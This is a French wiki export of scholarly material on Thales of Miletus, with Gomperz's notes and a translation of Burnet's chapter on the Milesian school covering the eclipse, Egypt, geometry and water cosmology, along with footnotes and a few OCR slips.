lieu par E. Meyer (''Philolog''. N. F., II 268 sq.) reviennent à dire qu'il est possible qu'Hérodote se soit trompé. Mais comme nous ne connaissons absolument pas la source de son renseignement, et que, a priori, il est extrêmement improbable que les Grecs se soient plu à faire de leurs grands hommes des étrangers, il nous paraît que, de cette possibilité à la certitude, il y a une distance bien grande. La mère de Thalès portait un nom grec (Kléobuline) ; le père s'appelait Examyès, d'un nom carien. (Cf. Diels, Arch. f. Gesch. d. Philos., II 169.) Passages principaux relatifs à ce qui suit : [[Thalès de Milet/Textes et traductions#Théétète, 174 a|Platon, Théétète, 174a]] ; [[Thalès de Milet/Textes et traductions#I, 170|Hérodote, I 170]] (le récit qu'il nous fait à [[Thalès de Milet/Textes et traductions#I, 74, 75|I 75]] est très douteux). Sur Thalès en Egypte, voir la très importante ''Histoire de la Géométrie'' d'Eudème (un camarade de Théophraste), dans ''Eudemi Rhodii quae supersunt'', colleg. L. Spengel, p. 113 sq. Sur la tentative de Thalès pour expliquer la crue du Nil, voir Diog. Laërce, I 37 ; Diodore, I 38 entre autres. Sur Thalès comme géomètre, cf. Allman, ''Greek geometry from Thales to Euclid'', p. 7 sq. {{Refa|2}}La Lydie était sous l'influence de la civilisation babylonien-assyrienne. C'est ce dont témoignent : l'arbre généalogique de sa dynastie, qui remonte au dieu Bel ; beaucoup de traits de l'histoire légendaire, et surtout le protectorat de l'Assyrie sur les rois Gygès et Ardys, que nous font connaître les inscriptions cunéiformes. Il n'est pas douteux que les Ioniens, avides de science comme ils l'étaient, et voisins de la magnifique capitale de Sardes, qu'ils visitaient (Hérod., I 29), ne s'y soient familiarisés avec les éléments de la culture babylonienne. Cf. Georges Radet, La Lydie et le monde grec au temps des Mermnades, Paris 1393. L'éclipse de soleil prédite par Thalès est le n° 1189 du Canon des Eclipses de Th. von Oppolzer (Denkschr. der math.-naturwiss. Classe der kais. Akademie der Wissensch., Bd. 52). Sur Thalès comme astronome, cf. Sartorius, Die Entwickelung der Astronomie bei den Griechen (Halle 1883). {{Refa|3}}Sur la forme de la terre, cf. Aristot. de caelo, II 13, et Doxogr. gr., 380, 21 {{Refa|4}}Les prévisions météorologiques, comme celle que mentionne [[Thalès de Milet/Textes et traductions#Politique I, XI, 1259 a 6|Aristote, Politique, I 11]], sont fréquentes « dans le grand traité astrologique » dit Lenormant, loc. cit. {{Refa|5}}Les écrits attribués à Thalès étaient déclarés apocryphes déjà dans l'antiquité, d'après Diog. Laërce, I 23. {{Refa|6}}[[Thalès de Milet/Textes et traductions#Métaphysique, A, III, 983 b 6|Arist. Métaph. I 3]]. Dans le de Anima. I 2, Arist. sur la foi de données traditionnelles ¤j Én Žpomnhmoneæousi), lui fait dire que l'aimant possède une âme. Si le renseignement est exact, nous nous trouvons en présence d'un reste de conceptions proprement fétichistes ou primitives. L'opinion attribuée à Thalès par Aristote dans le même traité (1 5), à savoir que «tout est plein de dieux », est attribuée ailleurs (Diog. L., VIII 32), à Pythagore : « L'air, aurait dit ce dernier, est plein d'âmes, et celles-ci sont appelées héros et démons ». Ceci encore est un élément de la religion naturaliste la plus primitive, qui se retrouve aujourd'hui encore chez les Finnois, chez les Khonds de l'Inde et chez les Algonquins de l'Amérique du Nord ; cf. Tylor, Civil. prim., II 169, 170 sq., 172, 187 sq. Est-on en droit de supposer qu'ici Thalès a été influencé par les conceptions religieuses des Babyloniens, identiques aux conceptions accadiennes, qui admettent des esprits innombrables, dont Lenormant a essayé d'établir la parenté avec les esprits des Finnois dans La Magie chez les Chaldéens? (cf. le registre s. v. Esprits). {{Refa|7}}La conception de Thalès : une terre flottant, comme un disque de bois, sur l'eau; et un univers rempli de matière primordiale, c'est-à-dire envisagé comme une masse liquide, s'accorde, comme le fait voir Tannery, Pour l'histoire de la science hellène, pp. 70 sq., en une certaine mesure avec l'idée égyptienne de l'eau primordiale Nun, divisée en deux masses séparées. Les anciens Babyloniens admettaient pareillement un Océan supérieur et un Océan inférieur; cf. Fritz Hommel, Der babylonische Ursprung der aegyptischen Kultur, Munich 1892, p. 8. On peut comparer aussi avec le livre de la Genèse, I 7. La concordance entre la doctrine fondamentale de Thalès et celle de la secte mi juive des Sampséens reste tout à fait obscure; cf. Hilgenfeld, Judentum und Judenchristentum, p. 98, d'après Epiphan. Haeres, 19, 1 ; cf. aussi Plutarque, sur les Syriens, ''Quaest. conviv.'', VIII 8, 4 (Mor., 891, 7 sq., Dübner). La tendance actuelle est de considérer Thalès comme un simple intermédiaire entre étrangers et Grecs ; cette tendance a pourtant contre elle la façon dont la meilleure autorité, Eudème, op. cit., parle des travaux géométriques de Thalès et du rapport dans lequel ils se trouvent avec la mathématique égyptienne. </center></div> Thalès de Milet/L'École milésienne 5299 21487 2005-09-16T18:13:24Z Marc 66 {| border="0" cellpadding="0" width="100%" style="background: #f9f9f9" | colspan="3" height="25"|<center>Études sur [[Thalès de Milet]]</center> |- | <center>'''[[Thalès de Milet/Theodor Gomperz|Notice de Theodor Gomperz]]''' - - '''[[Thalès de Milet/Tannery|Thalès et ses emprunts à l'Egypte, par P. Tannery]]''' - - '''[[Thalès de Milet/L'École milésienne|L'École milésienne]]'''</center> |} {{navigation|[[Thalès de Milet]]|[[Thalès de Milet/Liste des sources|Les sources]]|[[Thalès de Milet/Textes et traductions|Textes]]|[[Thalès de Milet/Theodor Gomperz|Études]]|[[Thalès de Milet/Thalès dans la littérature|Littérature]]|[[Thalès de Milet/Classement thématique|Classement thématique]]}} == L'École milésienne == Texte grec de Diels 1922, traduction anglaise de Burnet 1908 et traduction française de cette traduction anglaise 1919 par A. Reymond. (la numérotation des notes n'est pas encore faite) === I. Milet et la Lydie. === C'est à Milet que la plus ancienne école de cosmologie scientifique eut son siège. A l'époque où elle fut fondée, les Milésiens étaient dans une situation exceptionnellement favorable aux recherches scientifiques comme aux entre­prises commerciales. Ils étaient, il est vrai, entrés en con­flit plus d'une fois avec leurs voisins, les Lydiens, dont les souverains s'efforçaient alors d'étendre leur domination jusqu'à la côte ; mais, vers la fin du VIIe siècle avant J.-C., Thrasybule, tyran de Milet, avait réussi à signer un arran­gement avec le roi Alyatte, et une alliance fut conclue entre eux, qui non seulement sauva, dans le présent, Milet d'un désastre pareil à celui qui frappa Smyrne, mais la garantit de toute inquiétude pour l'avenir. Même un demi-siècle plus tard, lorsque Crésus, reprenant la politique extérieure de son père, déclara la guerre à Ephèse et la prit, Milet fut en mesure de maintenir les anciennes relations décou­lant du traité, et ne devint jamais, strictement parlant, sujette des Lydiens. Il n'est guère possible de douter que le sentiment de sécurité dû à cette situation exceptionnelle n'ait été pour quelque chose dans le développement de la recherche scientifique. La prospérité matérielle est la base sans laquelle ne sauraient s'accomplir les plus hauts efforts intellectuels, et, à cette époque-là, Milet était en [38]possession de toutes les élégances de la vie à un degré inconnu dans l'Hellade continentale. Mais ce ne fut pas seulement de cette manière que les relations avec la Lydie favorisèrent le développement de la science à Milet. Ce qu'on appela plus tard hellénisme paraît avoir été traditionnel dans la dynastie des Mermnades. Il peut bien y avoir quelque chose de vrai dans cette affir­mation d'Hérodote que tous les « sophistes » du temps affluaient à la cour de Sardes l. La tradition qui représente Crésus comme ce que nous appellerions le « patron » de la sagesse grecque, était complètement formée au Ve siècle, et si peu historiques qu'en puissent être les détails, il est évident qu'elle n'est pas, de fait, sans avoir quelque fonde­ment. Il faut noter comme particulièrement digne d'atten­tion ce « récit répandu parmi les Grecs », suivant lequel Thalès l'accompagnait dans sa malheureuse campagne contre Pteria, apparemment en qualité d'ingénieur mili­taire. Hérodote, il est vrai, ne croit pas qu'il ait détourné le cours de l’Halys 2, mais il ne s'inscrit pas en faux contre cette histoire en raison d'une improbabilité a priori, et il est tout à fait clair que ceux qui la racontaient n'éprou­vaient aucune difficulté à admettre le rapport qu'elle présuppose entre le philosophe et le roi. [39] II faut ajouter que l'alliance avec la Lydie facilita gran­dement les relations avec Babylone et l'Egypte. La Lydie était un poste avancé de la civilisation babylonienne, et Crésus vivait en excellents termes tant avec les rois d'Egypte qu'avec ceux de Babylone. Il est digne de remarque, aussi, qu'Amasis d'Egypte avait les mêmes sympathies pour la Grèce que Crésus, et que les Milésiens possédaient un temple à eux, à Naucratis l. ===II. Son origine=== On ne saurait mettre en doute que le fondateur de l'école milésienne, et par conséquent le premier des cosmologues, n'ait été Thalès 2 ; mais tout ce que l'on peut réellement prétendre savoir de lui nous vient d'Hérodote, et le roman des Sept Sages existait déjà quand il écrivait. Il nous dit tout d'abord que Thalès était d'origine phénicienne, indi­cation que d'autres écrivains expliquaient en disant qu'il appartenait aux Thélides, noble maison qui prétendait descendre de Kadmos et d'Agénor3. Ce fait est évidemment en rapport avec l'opinion d'Hérodote, suivant laquelle il y avait des « Kadméens » de Béotie parmi les colons primitifs de l'Ionie, et il est certain qu'il y avait réellement des gens nommés Kadméens dans plusieurs cités ioniennes4. Quant à savoir s'ils étaient d'origine sémitique, c'est naturellement [40] une autre question. Hérodote mentionne probablement l'origine présumée de Thalès pour la seule raison que celui-ci passait pour avoir introduit de Phénicie certains progrès dans l'art de la navigation1. Dans tous les cas, le nom d'Examyès, que portait son père, ne tend pas à prouver qu'il fût Sémite. C'est un nom carien, et les Cariens avaient été presque complètement assimilés par les Ioniens. Sur les monuments, on trouve des noms grecs et des noms cariens alternant dans les mêmes familles, et il n'y a donc aucune raison de supposer que Thalès fût autre chose qu'un citoyen ordinaire de Milet, quoique peut-être avec du sang carien dans les veines 2. ===III. L’éclipse prédite par Thalès === L'indication de beaucoup la plus remarquable qu'Héro­dote nous donne sur Thalès est qu'il prédit l'éclipse de soleil qui mit fin à la guerre entre les Lydiens et les Mèdes3. Or nous pouvons être sûrs qu'il ignorait tout à fait la vraie cause des éclipses. Anaximandre et ses successeurs l'igno­raient certainement4, et il est incroyable que l'explication juste de ce phénomène ait été donnée une fois pour être si vite oubliée. Même en supposant, toutefois, que Thalès ait connu la cause des éclipses, personne ne croira que les bribes de géométrie élémentaire qu'il avait rapportées d'Egypte l'eussent mis à même d'en calculer une d'après les éléments du cours de la lune. Mais le fait de la [41] prédiction est trop bien attesté pour pouvoir être rejeté sans examen. Le témoignage d'Hérodote sur un événement qui doit s'être passé une centaine d'années avant sa naissance sera peut-être tenu pour insuffisant ; mais il en est tout autrement de celui de Xénophane, et c'est de ce dernier que nous avons réellement à nous occuper1. Selon Théophraste, Xénophane était disciple d'Anaximandre, et il se peut fort bien qu'il ait vu Thalès et se soit entretenu avec lui. En tout cas, il doit avoir connu une foule de gens capa­bles de se rappeler ce qui était arrivé, et qui n'avaient aucun intérêt concevable à en faire un récit inexact. La prédiction de l'éclipse est réellement mieux attestée qu'au­cun autre fait relatif à Thalès, et il n'en est guère dans la première partie du VIe siècle avant J.-C. qui soit appuyé sur des preuves plus solides. Il est parfaitement possible de prédire des éclipses sans en connaître la vraie cause, et il est hors de doute qu'en réalité c'est ce que faisaient les Babyloniens. Sur la base de leurs observations astronomiques, ils avaient établi un cycle de 223 mois lunaires, à l'intérieur duquel les éclipses de soleil et de lune revenaient à intervalles réguliers 2. Cela, il est vrai, ne les eût pas mis en état de prédire les éclipses de soleil pour un lieu donné de la surface de la terre ; car ces phénomènes ne sont pas visibles dans tous les lieux où le soleil est, à ce moment, au-dessus de l'horizon. Nous n'occupons pas un point au centre de la terre, et ce que les astronomes appellent la parallaxe géocentrique doit être pris en considération. Tout ce qu'il était donc possible de dire, au moyen du cycle, c'est qu'une éclipse de soleil serait visible quelque part, et qu'il valait la peine d'observer le [42]ciel. Or, si nous en pouvons juger d'après le rapport qui nous a été conservé d'un astronome chaldéen, c'était juste­ment là la situation dans laquelle se trouvaient les Baby­loniens. Ils guettaient les éclipses aux dates déterminées, et quand elles ne se produisaient pas, le fait était interprété comme un heureux présage1. Il n'en faut pas davantage pour expliquer ce que l’on nous rapporte de Thalès. Il dit simplement qu'il y aurait une éclipse, et, par un heureux hasard, elle fut visible en Asie-Mineure et dans une circons­tance frappante. === IV. Date de Thalès === La prédiction de l'éclipse ne jette donc pas une grande lumière sur les connaissances scientifiques de Thalès ; mais si nous pouvons en fixer la date, elle nous fournira un point de départ pour essayer de déterminer l'époque à laquelle il vivait. Les astronomes modernes ont calculé qu'il y eut une éclipse de soleil, probablement visible en Asie-Mineure, le 28 mai (vieux style) de l'an 585 av. J.-C.2, et Pline, d'autre part, place l'éclipse prédite par Thalès à la quatrième année de la 48e Olympiade (585-4 av. J.-C.3). La concordance n'est, il est vrai, pas parfaitement exacte, car mai 585 appartient à l'année 586-5. Elle est suffisam­ment approximative, toutefois, pour que nous ayons le [43]droit d'identifier cette éclipse avec celle de Thalès, et cela nous est confirmé par Apollodore, qui fixait à la même année l’akmè du philosophe1. Une autre indication, que nous devons à Démétrius de Phalère, et suivant laquelle Thalès «reçut le nom de Sage» sous l'archontat de Damasias à Athènes, s'accorde très bien avec toutes ces données, et elle est sans doute basée sur l'histoire du trépied de Delphes, car l'archontat de Damasias est l'ère du rétablissement des jeux pythiques 2. ===V. Thalès en Egypte=== L'introduction de la géométrie égyptienne en Grèce est universellement attribuée à Thalès, et il est extrêmement probable qu'il visita l'Egypte, car il s'était fait une théorie [44] des inondations du Nil. Dans un passage bien connu 1 Hérodote donne trois explications du fait que ce fleuve, par une exception unique, croît en été et décroît en hiver ; seu­lement, suivant sa coutume en pareil cas, il ne nomme pas les auteurs de ces explications. Mais la première, celle qui assigne pour cause aux débordements les vents étésiens, est attribuée à Thalès dans les Placita2, de même que par plusieurs écrivains postérieurs. Or ces indications sont tirées d'un traité sur les crues do Nil que l'on croit être d'Aristote, et qui était connu des commentateurs grecs, mais dont il n'existe plus aujourd'hui qu'un abrégé latin du XIIe siècle3. Dans cette œuvre, la première des trois théories mentionnées par Hérodote est attribuée à Thalès, la seconde à Euthymène de Massalie, et la troisième à Anaxagore. Où Aristote — ou celui qui écrivit le livre, s'il est d'un autre — a-t-il pris ces noms? Nous pensons natu­rellement, une fois de plus, à Hécatée, qu'Hérodote repro­duit si souvent sans en mentionner le nom, et cette conjec­ture tire une grande force du fait qu'Hécatée mentionne en effet Euthymène4. Nous pouvons donc conclure que Thalès alla réellement en Egypte, et peut-être qu'Hécatée, en décri­vant le Nil, tint compte, comme cela était naturel, des vues de son célèbre concitoyen. ===VI. Thalès et la géométrie === Quant à la nature et à l'étendue des connaissances mathématiques rapportées d'Egypte par Thalès, il y a lieu de faire ressortir que beaucoup d'écrivains se sont sérieusement [45]mépris sur le caractère de la tradition 1. Dans son commentaire sur le premier livre d'Euclide, Proclus énumère, sur l'autorité d'Eudème, certaines propositions qui, à ce qu'il prétend, étaient connues de Thalès2. L'un des théorèmes dont il le crédite est que deux triangles sont égaux lorsqu'ils ont un côté égal compris entre deux angles égaux chacun à chacun. Ce théorème, il doit l'avoir connu, dit Eudème, car autrement il n'aurait pu, du haut d'une tour, mesurer, de la manière dont on raconte qu'il le fit3, les distances de vaisseaux sur la mer. Nous voyons ici com­ment toutes ces indications prirent naissance. Certains faits remarquables en matière de mensuration étaient tradition­nellement attribués à Thalès, et l'on admettait qu'il avait connu toutes les propositions que ces faits impliquent. Mais c'est là une méthode d'inférence tout à fait illusoire. Le mesurage de la distance où se trouvent des vaisseaux sur la mer, et celui de la hauteur des pyramides, qu'on lui attribue aussi4, sont des applications faciles de ce [46] qu'Aahmès appelle le seqt. Ces règles de mensuration peu­vent fort bien avoir été apportées d'Egypte par Thalès, mais nous n'avons aucune raison de supposer qu'il en ait su davantage que l'auteur du Rhind-papyrus sur les raisonnements dont elles étaient la conclusion. Peut-être en faisait-il une application plus étendue que les Egyptiens ; il n'en est pas moins vrai que les mathématiques, au sens propre du mot, n'ont commencé à exister que quelque temps après Thalès. ===VII. Thalès comme homme politique === Thalès apparaît encore une fois dans les récits d'Hérodote quelque temps avant la chute de l'empire lydien. Il pressa, nous dit l'historien, les Grecs d'Ionie de s'unir en un état fédératif avec Teos pour capitale1. Nous aurons encore plus d'une fois, dans la suite, l'occasion de noter que c'était l'habitude des anciennes écoles de philosophie d'essayer d'influencer le cours des événements politiques, et plu­sieurs circonstances, par exemple le rôle joué par Hécatée dans la révolte de l'Ionie, nous portent à croire que les savants de Milet prirent une position très nette dans les temps agités qui suivirent la mort de Thalès. C'est cette action politique qui a valu au fondateur de l'école milesienne sa place incontestée parmi les Sept Sages, et c'est surtout parce qu'il fut mis au nombre de ces grands hommes que s'attachèrent à son nom les nombreuses anec­dotes dont on lui fit honneur dans la suite 2. [47] ===VIII. Caractère incertain de la tradition === Si Thalès écrivit jamais quelque chose, ce qu'il écrivit fut bientôt perdu, et les ouvrages qui furent publiés sous son nom ne trompèrent pas même les Anciens 1. Aristote prétend avoir quelque notion des vues de Thalès ; mais il ne prétend pas savoir par quelle voie celui-ci y arriva, ni sur quels raisonnements elles étaient fondées. Il suggère, il est vrai, certaines explications que des écrivains postérieurs répètent comme des indications de fait, mais qu'il ne donne lui-même que pour ce qu'elles valent2. La tradition soulève encore une autre difficulté. Plus d'une indication d'apparence précise nous est fournie par les Placita, qui ne repose en réalité que sur l'habitude d'attribuer « à Thalès et à ses successeurs » les doctrines en quelque sorte carac­téristiques de la «succession» ionienne, mais nous fait l'effet d'une indication nettement relative à Thalès. Néan­moins, en dépit de tout cela, nous ne pouvons douter qu'Aristote ait été exactement renseigné sur les points essentiels. Nous avons vu dans Hécatée des traces de réfé­rences à Thalès, et il est tout à fait probable que les écri­vains postérieurs de l'école citaient les vues de son fonda­teur. Nous pouvons donc nous aventurer à reconstruire, par conjecture, sa cosmologie, en nous guidant sur ce que nous savons de certain du développement subséquent de l'école milésienne, car il est naturel de supposer que les doctrines caractéristiques de cette école étaient pour le moins esquissées dans l'enseignement de son plus ancien représentant. Mais tout cela doit être pris pour ce qu'il vaut, et rien de plus, car, strictement parlant, nous ne savons absolument rien de l'enseignement de Thalès. [48] === IX. Exposé conjectural de la cosmologie de thalès === Les indications d'Aristote peuvent se ramener à ces trois propositions : 1. La terre flotte sur l'eau 1. 2. L'eau est la cause matérielle2 de toutes choses. 3. Toutes choses sont pleines de dieux. L'aimant est vivant, car il a la puissance de mouvoir le fer3. La première de ces indications doit être comprise à la lumière de la seconde, qui est exprimée dans la termino­logie aristotélicienne, mais signifie sans aucun doute qu'au dire de Thalès l'eau était la chose fondamentale ou primor­diale dont toutes les autres n'étaient que des formes pure­ment transitoires. C'était justement, comme nous le ver­rons, une substance primordiale que chercha toute l'école milésienne, et il est peu probable que la première réponse à la grande question du jour ait été la réponse relativement subtile qu'y donne Anaximandre. Et nous sommes peut-être en droit de soutenir que la grandeur de Thalès con­siste en ce qu'il fut le premier à se demander non pas quelle était la chose originelle, mais quelle est maintenant la chose primordiale, ou, plus simplement encore, de quoi le monde est fait. La réponse qu'il fit à cette question fut : d'eau. [49] ===X. L'eau=== Aristote et Théophraste, suivis de Simplicius et des doxographes, suggèrent plusieurs explications de cette réponse. Ces explications, Aristote les donne comme con­jecturales ; seuls, les écrivains postérieurs les reproduisent comme tout à fait certaines1. Le plus probable semble être qu'Aristote attribua simplement à Thalès les arguments dont se servit plus tard Hippon de Samos pour défendre une thèse analogue2. Ainsi s'expliquerait leur caractère physiologique. Le développement de la médecine scienti­fique avait rendu les arguments biologiques très popu­laires au Ve siècle ; mais, à l'époque de Thalès, ce à quoi l'on s'intéressait surtout, ce n'était pas la physiologie, mais bien plutôt ce que nous appellerions la météorologie, et c'est par conséquent de ce point de vue que nous devons essayer de comprendre la théorie. Or, il n'est pas très difficile de se rendre compte comment [50] des considérations de nature météorologique condui­sirent Thalès à adopter l'opinion qu'il soutint. De toutes les choses que nous connaissons, c'est l'eau qui paraît prendre les formes les plus variées. Elle nous est familière à l'état solide, à l'état liquide et à l'état de vapeur, de sorte que Thalès peut fort bien s'être imaginé voir se dérouler devant ses yeux le processus du monde, partant de l'eau pour revenir à l'eau. Le phénomène de l'évaporation éveille naturellement partout l'idée que le feu des corps célestes est entretenu par l'humidité qu'ils tirent de la mer. Même de nos jours, quand les rayons du soleil deviennent visibles, les gens des campagnes disent que «le soleil pompe l'eau». L'eau retombe sur la terre sous forme de pluie, et finale­ment, à ce que pensaient les premiers cosmologues elle se transforme en terre. Cela nous paraît étrange, mais peut avoir paru plus naturel à des hommes familiers avec le fleuve d'Egypte, qui avait formé le Delta, et avec ces tor­rents de l'Asie-Mineure qui déposent de si abondantes alluvions. A l'heure qu'il est, la haie de Latmos, au bord de laquelle s'élevait Milet, est complètement comblée. Enfin, pensaient-ils, la terre redevient eau — idée déduite de l'observation de la rosée, des brouillards nocturnes et des sources souterraines. Car, dans les temps primitifs, on ne supposait pas que celles-ci eussent le moindre rapport avec les pluies. Les «eaux sous la terre» étaient regardées comme une source d'humidité entièrement indépendante1. ===XI. Théologie === De l'avis d'Aristote lui-même, la troisième des proposi­tions énoncées plus haut implique que Thalès croyait à une « âme du monde », mais le Stagirite a bien soin de faire [51]remarquer que ce n'est là qu'une inférence1. La doctrine de l'âme du monde est ensuite attribuée à Thalès d'une manière tout à fait positive par Aétius ; celui-ci l'exprime1 dans la phraséologie stoïcienne qu'il trouva dans sa source immédiate, et identifie le monde-intellect avec Dieu2. Cicéron trouva un exposé analogue de la question dans le manuel épicurien dont il se servait, mais il fait un pas de plus. Eliminant le panthéisme stoïcien, il fait du monde-intellect un démiurge platonicien, et affirme que, selon Thalès, il y avait un esprit divin qui formait toutes choses de l'eau3. Tout cela est dérivé de la prudente déclaration d'Aristote, et ne peut avoir une autorité plus grande que cette déclaration. Nous n'avons donc pas à nous occuper de la vieille question controversée de savoir si Thalès était ou n'était pas athée. En réalité, elle n'a pas de sens. Si nous en jugeons par ses successeurs, il peut fort bien avoir qualifié l'eau de divine, mais s'il avait une croyance reli­gieuse quelconque, nous pouvons être certains qu'elle n'avait aucun rapport avec sa théorie cosmologique. Nous ne devons pas attacher trop d'importance non plus à cette déclaration que « toutes choses sont pleines de dieux». On l'interprète souvent en ce sens que Thalès attri­buait une «vie plastique» à la matière, ou qu'il était «hylozoïste». Nous avons déjà vu à quels malentendus cette manière de parler pouvait prêter4, et nous ferons bien de l'éviter. Il serait dangereux de considérer un apophtegme de ce genre comme preuve de quoi que ce soit ; il y a des chances pour que Thalès l’ait prononcé en sa qualité de [52]« Sage » plutôt qu'en sa qualité de fondateur de l'école milésienne. D'ailleurs, des maximes comme celle-là sont la plupart du temps anonymes au début, et sont attribuées tantôt à un Sage, tantôt à l'autre1. D'autre part, Thalès a très probablement dit que l'aimant et l'ambre avaient des âmes. Ce n'est pas là un apothtegme, mais une proposition qui peut aller de pair avec celle qui fait flotter la terre sur l’eau. C'est, de fait, justement ce que nous pourrions nous attendre à trouver dans une remarque d'Hécatée sur Thalès. On aurait tort, cependant, d'en tirer des conclusions quant à ses vues sur le monde ; car de dire que l'aimant et l'ambre sont vivants, c'est donner à entendre que les autres choses ne le sont pas2. == '''Notes''' == 1 Herod. I, 29. Quelques autres points peuvent être relevés en confir­mation de ce qui a été dit de 1' «hellénisme» des Mermnades. Alyatte eut deux femmes, dont l'une, la mère de Crésus, était Carienne ; l'autre était Ionienne, et il eut d'elle un fils qui reçut le nom grec de Pantaléon (ib. 92). Les offrandes de Gygès étaient exposées dans le trésor de Kypsélos à Delphes (ib. 14) et celles d'Atyatte étaient une des curiosités de la ville (ib. 25). Crésus, lui aussi, fit preuve d'une grande libéralité envers Delphes (ib. 50) et envers plusieurs autres sanctuaires grecs (ib. 92). Il donna la plupart des colonnes du grand temple d'Ephèse. Men­tionnons aussi à ce propos les histoires de Miltiade (VI, 37) et d'Alcméon (ib. 125). 2 Herod. I, 75. Il se refuse à le croire parce qu'il avait entendu parler, probablement par les Grecs de Sinope, de la haute antiquité du pont de la route royale entre Ancyre et Pteria (Ramsay, Asia Minor, p. 29). Xanthos rapportait une tradition d'après laquelle ce fut Thalès qui engagea Crésus à monter sur son bûcher seulement quand il sut qu'une averse arrivait. 3 Herod. II, 178, où l'historien dit qu'Amasis était φιλέλλην. Il contri­bua de ses deniers à la reconstruction du temple de Delphes après le grand incendie (ib. 180). 4 En fait, Simplicius cite une indication de Théophraste suivant laquelle Thalès aurait eu plusieurs prédécesseurs (Dox., p. 475, 11). Cela ne doit cependant pas nous préoccuper ; car le scholiaste d'Apol­lonius de Rhodes (II, 1248) nous dit que Théophraste faisait de Prométhée le premier philosophe, ce qui est simplement une application du littéralisme péripatéticien à une remarque de Platon (Philèbe 16 c 6). Cf, Appendice. § 2. Herod. I, 170 (R. P. 9 d D V 1 A 4) ; Diog. I, 22 (R. P. 9). 5 Strabon, XIV p. 633, 636; Pausan. VII, 2, 7. Priène était appelée Kadmé, et le plus ancien annaliste de Milet portait le nom de Kadmos. Voir E. Meyer, Gesch. des Altert. II, § 158. 6 Diog. I, 23 : Καλλίμαχος δ΄ αὐτὸν οἶδεν εὑρετὴν τῆς ἄρκτου τῆς μικρᾶς λέγων ἐν τοῖς Ἰάμβοις οὕτως καὶ τῆς ἁμάξης ἐλέγετο σταθμήσασθαι τοὺς ἀστερίσχους, ᾗ πλέουσι Φοίνικες. 7 Voir Diels, Thales ein Semite? (ArcH. II, 165 sq.), et Immisch, Zu Thales Abkunft (ib. p. 515). Le nom d'Examyès se rencontre aussi à Colophon (Hermesianax, Leontion, fr. 2, 38 Bgk), et peut être comparé avec d'autres noms cariens tels que Gheramyès et Panamyès. 8 Herod. I, 74. 9 Sur les théories professées par Anaximandre et par Héraclite, voir plus loin, §§19 et 71. 10 Diog. I, 23 δοχεῖ δὲ κατά τινας πρῶτος ἀστρολογῆσαι καὶ ἡλιακὰς ἐκλείψεις καὶ τροπὰς προειπεῖν, ὥς φησιν Εὔδημος ἐν τῇ περὶ ἀστρολογουμένων ἱστοριᾳ, ὅθεν αὐτὸν καὶ Ξενοφάνης καὶ Ἡρόδοτος θαυμάζει. 2 Le premier savant qui ait attiré l'attention sur le cycle chaldéen à ce point de vue paraît avoir été le Rev. George Costard, fellow du Wadham Collège. Voir sa Dissertation on the Use of Astronomy in History (Londres, 1764), p. 17. Il est inexact d'appeler ce cycle le saros, car le saros était tout autre chose. (Voir Ginzel, Klio I, p. 377.) 1 Voir George Smith, Assyrian Discoveries (1875), p. 409. L'inscription dont suit la traduction a été trouvée à Kouyunjik : «Au roi mon Seigneur, ton serviteur Abil-Istar, ………………………………………………… « Concernant l'éclipse de lune au sujet de laquelle le roi mon Sei­gneur m'a adressé un message, des observations ont été faites dans les cités d'Akkad, de Borsippa et de Nipur, et dans la cité d'Akkad, nous vîmes une partie.... L'observation fut faite, et l'éclipse eut lieu. « El quand, pour l'éclipse de soleil, nous ordonnâmes une observa­tion, l'observation fut faite et elle (l'éclipse) n'eut pas lieu. Ce que j'ai vu de mes yeux, je l'envoie au roi mon Seigneur.» 2 Pour la littérature sur ce sujet, voir R. P. 8 b, et y ajouter Ginzel, Spezieller Kanon, p. 171. Voir aussi Milhaud, Science grecque, p. 62. 3- Pline, Nat. Hisl. II, 53. 1 Sur Apollodore, voir Appendice, § 20. Les dates que donne notre texte de Diogène (I, 37; R. P. 8) ne peuvent se concilier l'une avec l'autre. Celle qu'il donne pour la mort de Thalès est probablement exacte; car c'est l'année qui précéda la chute de Sardes en 546/5 avant J.-C., ce qui est une des ères régulières employées par Apollodore. Il semblait sans doute naturel de faire mourir Thalès l'année avant la «ruine de l'Ionie», qu'il avait prévue. Si l'on remonte à 78 ans en ar­rière, cela porte à 625/4 la naissance de Thalès, et cela nous donne 585/4 pour sa quarantième année. C'est la date que Pline indique pour l'éclipse, et les dates de Pline viennent d'Apollodore par l'intermédiaire de Nepos. Pour une discussion complète de la question, voir Jacoby, p. 175 sq. 2 Diog. I, 22 (R. P. 9). Je ne discute pas ici l'ère pythienne et la date de Damasias, quoique, à ce qu'il me semble, le dernier mot n'ait pas encore été dit sur ce point. Jacoby (p. 170 sq.) défend vigoureusement la date 582/1, qui est généralement admise aujourd'hui. D'autres se pro­noncent pour l'année pythienne 586/5, qui est l'année même de l'éclipse, et cela aiderait à expliquer comment les historiens qui utilisèrent Apollodore en vinrent à dater l'événement d'une année trop tard ; car Damasias fut archonte pendant deux ans et deux mois. Il est même possible qu'ils aient mal compris les mots Δαμασίου τοῦ δευτέρου, dont le but est de le distinguer d'un archonte antérieur du même nom, et aient interprété : « dans la seconde année de Damasias ». Apollodore se con­tentait d'indiquer les archontes athéniens, et la réduction en olym­piades est l'œuvre d'écrivains postérieurs. Kirchner, adoptant l'année 582/1 pour Damasias, place l'archontat de Solon en 591/0 (Rh. Mus. LIII, p. 242 sq.). Mais il est impossible que la date de l'archontat de Solon ait jamais été douteuse. D'après le calcul de Kirchner, nous obtenons la date 586/5, si nous gardons la date traditionnelle de Solon. Voir aussi E. Meyer, Forschungen, II. p. 242 sq. 1 Herod. II, 20. 2 Aet. IV, I, 1 (Dox. p. 884; D V, 1 A 16). 3 Dox. p. 226-229. L'abrégé latin se trouve dans l'édition de Rosé des fragments aristotéliciens. 4 Hécatée, frag. 278 (F. G. H 1, p 19). 1 Voir Cantor, Vorlesungen über Geschichte der Mathematik, vol. I, p. 12 sq. : Allman, Greek Geometry from Thales to Euclid (Hermathena, III, p. 164-174). 2 Proclus, in Eucl. p. 65, 7; 157, 10; 250, 20; 299, 1; 352, 14 (Friedlein). Eudème écrivit la première histoire de l'astronomie et des mathéma­tiques, comme Théophraste écrivit la première histoire de la philoso­phie. 3 Proclus, p. 352, 14 Εὔδημος δὲ ἐν ταῖς γεωμετρικαῖς ἱστορίας εἰς Θαλῆν τοῦτο ἀνάγει τὸ θεώρημα (Eucl. I, 26) τὴν γὰρ τῶν ἐν θαλάττῃ πλοίων ἀπόστασιν δι' οὗ τρόπου φασὶν αὐτὸν δεικνύναι τούτῳ προσχρῆσθαί φησιν ἀναγκαῖον. Sur la méthode adoptée par 